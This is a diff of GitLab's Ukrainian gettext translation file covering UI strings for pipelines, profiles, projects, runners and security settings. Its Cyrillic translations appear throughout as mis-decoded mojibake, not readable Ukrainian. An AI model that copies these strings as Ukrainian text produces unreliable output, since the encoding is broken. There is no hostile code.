msgid "Pipeline|In progress"
msgstr "ВиконуєтьÑÑ"
-msgid "Pipeline|Key"
-msgstr "Ключ"
-
msgid "Pipeline|Manual"
msgstr "Вручну"
@@ -25951,12 +26361,12 @@ msgstr "Ðвтор тригера"
msgid "Pipeline|Triggerer"
msgstr "Запущено"
-msgid "Pipeline|Value"
-msgstr "ЗначеннÑ"
-
msgid "Pipeline|Variables"
msgstr "Змінні"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr "ПереглÑнути конвеєр"
@@ -25994,7 +26404,7 @@ msgid "Plain-text response to send to clients that hit a rate limit"
msgstr ""
msgid "Plan"
-msgstr ""
+msgstr "План"
msgid "Plan:"
msgstr "План:"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "Будь лаÑка, введіть дійÑний номер"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr "Будь лаÑка, мігруйте вÑÑ– уÑнуючі проєкт
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "Зверніть увагу, що Ñ†Ñ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð° не Ñ” чаÑтиною GitLab, Ñ– ви повинні впевнитиÑÑ Ñƒ Ñ—Ñ— безпеці, перш ніж надавати доÑтуп."
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "Будь лаÑка, задайте ім’Ñ"
@@ -26365,8 +26775,8 @@ msgstr "ÐатиÑніть %{key}-C, щоб Ñкопіювати"
msgid "Prev"
msgstr "Ðазад"
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Заборонити Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð½Ð¾Ð²Ð¸Ñ… учаÑників до членÑтва в цій групі"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr ""
@@ -26647,8 +27057,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "Ðе відображати у профілі"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Ðе відображати оÑобиÑту інформацію, пов’Ñзану із активноÑÑ‚Ñми, у ваших профілÑÑ…"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Редагувати профіль"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr "Ðеправильне ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "Profiles|Key"
msgstr "Ключ"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26927,31 +27340,31 @@ msgid "Project"
msgstr "Проєкт"
msgid "Project \"%{name}\" is no longer available. Select another project to continue."
-msgstr "Проект \"%{name}\" більше не доÑтупний. Щоб продовжити виберіть інший проєкт."
+msgstr "Проєкт \"%{name}\" більше не доÑтупний. Щоб продовжити виберіть інший проєкт."
msgid "Project %{project_repo} could not be found"
-msgstr "Проект %{project_repo} не знайдено"
+msgstr "Проєкт %{project_repo} не знайдено"
msgid "Project & Group can not be assigned at the same time"
msgstr ""
msgid "Project '%{project_name}' is being imported."
-msgstr "Проект \"%{project_name}\" імпортуєтьÑÑ."
+msgstr "Проєкт \"%{project_name}\" імпортуєтьÑÑ."
msgid "Project '%{project_name}' is in the process of being deleted."
-msgstr "Проект '%{project_name}' перебуває в процеÑÑ– видаленнÑ."
+msgstr "Проєкт '%{project_name}' перебуває в процеÑÑ– видаленнÑ."
msgid "Project '%{project_name}' is restored."
msgstr "Проєкт \"%{project_name}\" відновлено."
msgid "Project '%{project_name}' queued for deletion."
-msgstr "Проект '%{project_name}' доданий в чергу на видаленнÑ."
+msgstr "Проєкт '%{project_name}' доданий в чергу на видаленнÑ."
msgid "Project '%{project_name}' was successfully created."
-msgstr "Проект '%{project_name}' уÑпішно Ñтворений."
+msgstr "Проєкт '%{project_name}' уÑпішно Ñтворений."
msgid "Project '%{project_name}' was successfully updated."
-msgstr "Проект '%{project_name}' уÑпішно оновлено."
+msgstr "Проєкт '%{project_name}' уÑпішно оновлено."
msgid "Project '%{project_name}' will be deleted on %{date}"
msgstr "Проєкт \"%{project_name}\" буде видалено %{date}"
@@ -26993,7 +27406,7 @@ msgid "Project avatar"
msgstr "Ðватар проєкту"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
-msgstr "Проект не може бути Ñпільним із групою в Ñку він входить або з одним з Ñ—Ñ— предків."
+msgstr "Проєкт не може бути Ñпільним із групою в Ñку він входить або з одним з Ñ—Ñ— предків."
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -27020,7 +27433,7 @@ msgid "Project export has been deleted."
msgstr "ЕкÑпорт проєкту видалений."
msgid "Project export link has expired. Please generate a new export from your project settings."
-msgstr "ЗакінчивÑÑ Ñ‚ÐµÑ€Ð¼Ñ–Ð½ дії поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° проєкт. Створіть новий екÑпорт в ваших налаштуваннÑÑ… проєкту."
+msgstr "ЗакінчивÑÑ Ñ‚ÐµÑ€Ð¼Ñ–Ð½ дії поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° проєкт. Створити новий екÑпорт в ваших налаштуваннÑÑ… проєкту."
msgid "Project export requests"
msgstr ""
@@ -27052,9 +27465,6 @@ msgstr "Етап проєкту"
msgid "Project name"
msgstr "Ðазва проєкту"
-msgid "Project name suffix"
-msgstr "Ð¡ÑƒÑ„Ñ–ÐºÑ Ð½Ð°Ð·Ð²Ð¸ проєкту"
-
msgid "Project navigation"
msgstr "ÐÐ°Ð²Ñ–Ð³Ð°Ñ†Ñ–Ñ Ð¿Ð¾ проєкту"
@@ -27083,7 +27493,7 @@ msgid "Project was not found or you do not have permission to add this project t
msgstr ""
msgid "Project: %{name}"
-msgstr "Проект %{name}"
+msgstr "Проєкт %{name}"
msgid "ProjectActivityRSS|Subscribe"
msgstr "ПідпиÑатиÑÑ"
@@ -27133,6 +27543,9 @@ msgstr "Додали в обране"
msgid "ProjectOverview|Unstar"
msgstr "Видалити із обраних"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Ви доÑÑгли Ñвого ліміту по кількоÑÑ‚Ñ– проєктів"
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "Перевірки злиттÑ"
msgid "ProjectSettings|Merge commit"
msgstr "Коміт-злиттÑ"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Коміт-Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ–Ð· напівлінійною Ñ–Ñторією"
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "Сніпети"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27680,7 +28111,7 @@ msgid "Projects (%{count})"
msgstr "Проєкти (%{count})"
msgid "Projects Successfully Retrieved"
-msgstr "Проекти уÑпішно отримано"
+msgstr "Проєкти уÑпішно отримано"
msgid "Projects are graded based on the highest severity vulnerability present"
msgstr "Проєкти оцінюютьÑÑ Ð·Ð° найвищим наÑвним рівнем вразливоÑÑ‚Ñ–"
@@ -27701,7 +28132,7 @@ msgid "Projects that can be accessed"
msgstr ""
msgid "Projects to index"
-msgstr "Проекти Ð´Ð»Ñ Ñ–Ð½Ð´ÐµÐºÑуваннÑ"
+msgstr "Проєкти Ð´Ð»Ñ Ñ–Ð½Ð´ÐµÐºÑуваннÑ"
msgid "Projects will be permanently deleted after a %{waiting_period}-day waiting period."
msgstr ""
@@ -27724,8 +28155,11 @@ msgstr "Проєкти з Ñередніми вразливоÑÑ‚Ñми"
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr "Проєкти без вразливоÑтей із увімкненим ÑкануваннÑм безпеки"
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
-msgstr "Проекти з правом на запиÑ"
+msgstr "Проєкти з правом на запиÑ"
msgid "ProjectsDropdown|Frequently visited"
msgstr "ЧаÑто відвідувані"
@@ -27734,7 +28168,7 @@ msgid "ProjectsDropdown|Loading projects"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²"
msgid "ProjectsDropdown|Projects you visit often will appear here"
-msgstr "Проекти, Ñкі ви чаÑто відвідуєте, будуть відображені тут"
+msgstr "Проєкти, Ñкі ви чаÑто відвідуєте, будуть відображені тут"
msgid "ProjectsDropdown|Search your projects"
msgstr "Пошук по ваших проєктах"
@@ -27764,10 +28198,10 @@ msgid "ProjectsNew|Create"
msgstr "Створити"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
-msgstr "Створіть порожній проєкт Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ñвоїх файлів, Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ та Ñпівпраці над кодом."
+msgstr "Створити порожній проєкт Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ñвоїх файлів, Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ та Ñпівпраці над кодом."
msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
-msgstr "Створіть проєкт попередньо заповнений необхідними файлами Ð´Ð»Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾Ð³Ð¾ Ñтарту."
+msgstr "Створити проєкт попередньо заповнений необхідними файлами Ð´Ð»Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾Ð³Ð¾ Ñтарту."
msgid "ProjectsNew|Create blank project"
msgstr "Створити пуÑтий проєкт"
@@ -27812,7 +28246,7 @@ msgid "ProjectsNew|Visibility Level"
msgstr "Рівень видимоÑÑ‚Ñ–"
msgid "ProjectsNew|Want to house several dependent projects under the same namespace? %{link_start}Create a group.%{link_end}"
-msgstr "Хочете розміÑтити декілька залежних проєктів в одному проÑторі імен? %{link_start}Створіть групу.%{link_end}"
+msgstr "Хочете розміÑтити декілька залежних проєктів в одному проÑторі імен? %{link_start}Створити групу.%{link_end}"
msgid "Prometheus"
msgstr "Prometheus"
@@ -27931,6 +28365,9 @@ msgstr "ПеренеÑти"
msgid "Promote issue to an epic"
msgstr "Перетворити задачу на епік"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr "Підвищити до епіку"
@@ -27941,7 +28378,7 @@ msgid "PromoteMilestone|Only project milestones can be promoted."
msgstr "Лише проєктні етапи можуть бути перенеÑені."
msgid "PromoteMilestone|Project does not belong to a group."
-msgstr "Проект не належить жодній групі."
+msgstr "Проєкт не належить жодній групі."
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "ПеренеÑÐµÐ½Ð½Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ðµ: %{message}"
@@ -27949,9 +28386,15 @@ msgstr "ПеренеÑÐµÐ½Ð½Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ðµ: %{message}"
msgid "Promoted issue to an epic."
msgstr "Задачу перетворено на епік."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr "Публічний — проєкт может переглÑдатиÑÑ
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "Публічні ключі Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ (%{deploy_keys_count})"
@@ -28474,6 +28920,9 @@ msgstr "ПереглÑнути проєкт %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "Загальна кількіÑÑ‚ÑŒ комітів: %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Квартали"
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr "Отримувати Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ налаштованого вручну Ñервера Prometheus."
@@ -28613,7 +29068,7 @@ msgid "Recent Searches Service is unavailable"
msgstr "Ð¡ÐµÑ€Ð²Ñ–Ñ Ð¾Ñтанніх пошуків недоÑтупний"
msgid "Recent events"
-msgstr ""
+msgstr "Ðещодавні події"
msgid "Recent jobs served by this runner"
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr "Повторна Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ñ–Ñ Ñ–Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ‚Ð¾Ñ€Ð° інÑÑ
msgid "Regex pattern"
msgstr "Шаблон у виглÑді регулÑрного виразу"
-msgid "Region that Elasticsearch is configured"
-msgstr "Регіон, Ñконфігурований Ð´Ð»Ñ Elasticsearch"
-
msgid "Register"
msgstr "ЗареєÑтруватиÑÑ"
@@ -28863,6 +29315,9 @@ msgstr "Видалити %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Видалити Zoom-зуÑтріч"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr "Видалити поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° реÑурÑ"
msgid "Remove assignee"
msgstr "Видалити виконавцÑ"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Видалити аватар"
@@ -28899,6 +29357,12 @@ msgstr "Видалити картку"
msgid "Remove child epic from an epic"
msgstr "Видалити дочірній епік із епіка"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr "Видалено етап %{milestone_reference}."
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr "Видалено %{type} з іденнтифікатором %{id}"
-
msgid "Removed all labels."
msgstr "Видалено вÑÑ– мітки."
msgid "Removed an issue from an epic."
msgstr "Видалено задачу із епіка."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "Видалену групу неможливо відновити!"
@@ -29040,6 +29504,9 @@ msgstr "Видалено заплановану дату завершеннÑ."
msgid "Removed time estimate."
msgstr "Видалено оцінку чаÑу."
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr "Повторне відкриттÑ"
msgid "Reopen %{issueType}"
msgstr "Повторно відкрити %{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Повторне Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐµÐ¿Ñ–ÐºÑƒ"
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr "Замінити"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,14 +29919,14 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "Вибрати"
msgid "Request"
-msgstr ""
+msgstr "Запит"
msgid "Request Access"
msgstr "Запит доÑтупу"
@@ -29452,6 +29934,12 @@ msgstr "Запит доÑтупу"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr "Відправлено запит %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "Вимогу %{reference} було додано"
@@ -29583,6 +30077,9 @@ msgstr "Скинути ключ авторизації"
msgid "Reset authorization key?"
msgstr "Скинути ключ авторизації?"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr "Скинути фільтри"
@@ -29903,6 +30400,9 @@ msgstr "Сторінка Runner'ів."
msgid "Runners|Active"
msgstr "Ðктивні"
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29922,7 +30422,7 @@ msgid "Runners|Associated with one or more projects"
msgstr ""
msgid "Runners|Available to all projects"
-msgstr ""
+msgstr "ДоÑтупно Ð´Ð»Ñ Ð²ÑÑ–Ñ… проєктів"
msgid "Runners|Available to all projects and subgroups in the group"
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr "Групові Runner'и"
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr "Ð’Ñтановити runner"
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr "ОÑтанній контакт"
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr "Платформа"
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr "Теги"
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr "Цей runner пов'Ñзаний з одним або кількома проєктами."
@@ -30143,20 +30670,26 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Ви викориÑтали %{quotaUsed} із ваших %{quotaLimit} хвилин Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð² загальних runner'ів."
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "Група"
-msgid "Runners|instance"
+msgid "Runners|locked"
msgstr ""
-msgid "Runners|locked"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
-msgstr "проєкт"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
+msgstr ""
msgid "Runners|shared"
msgstr ""
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr "Секретний токен"
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Безпека"
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,8 +31260,8 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
-msgstr "Ðалаштувати через запит на злиттÑ"
+msgid "SecurityConfiguration|Configure with a merge request"
+msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -30748,8 +31272,8 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
-msgstr "Створити запит на злиттÑ"
+msgid "SecurityConfiguration|Create merge request"
+msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr ""
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30929,7 +31471,7 @@ msgid "SecurityOrchestration|Sorry, your filter produced no results."
msgstr ""
msgid "SecurityOrchestration|Status"
-msgstr ""
+msgstr "СтатуÑ"
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr "СтатуÑ"
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr "Помилка при анулюванні цього відхиленн
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr "Виберіть виконавцÑ"
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "Виберіть гілку"
@@ -31534,9 +32088,6 @@ msgstr "ÐŸÐ¾Ð´Ñ–Ñ Sentry"
msgid "Sep"
msgstr "вер."
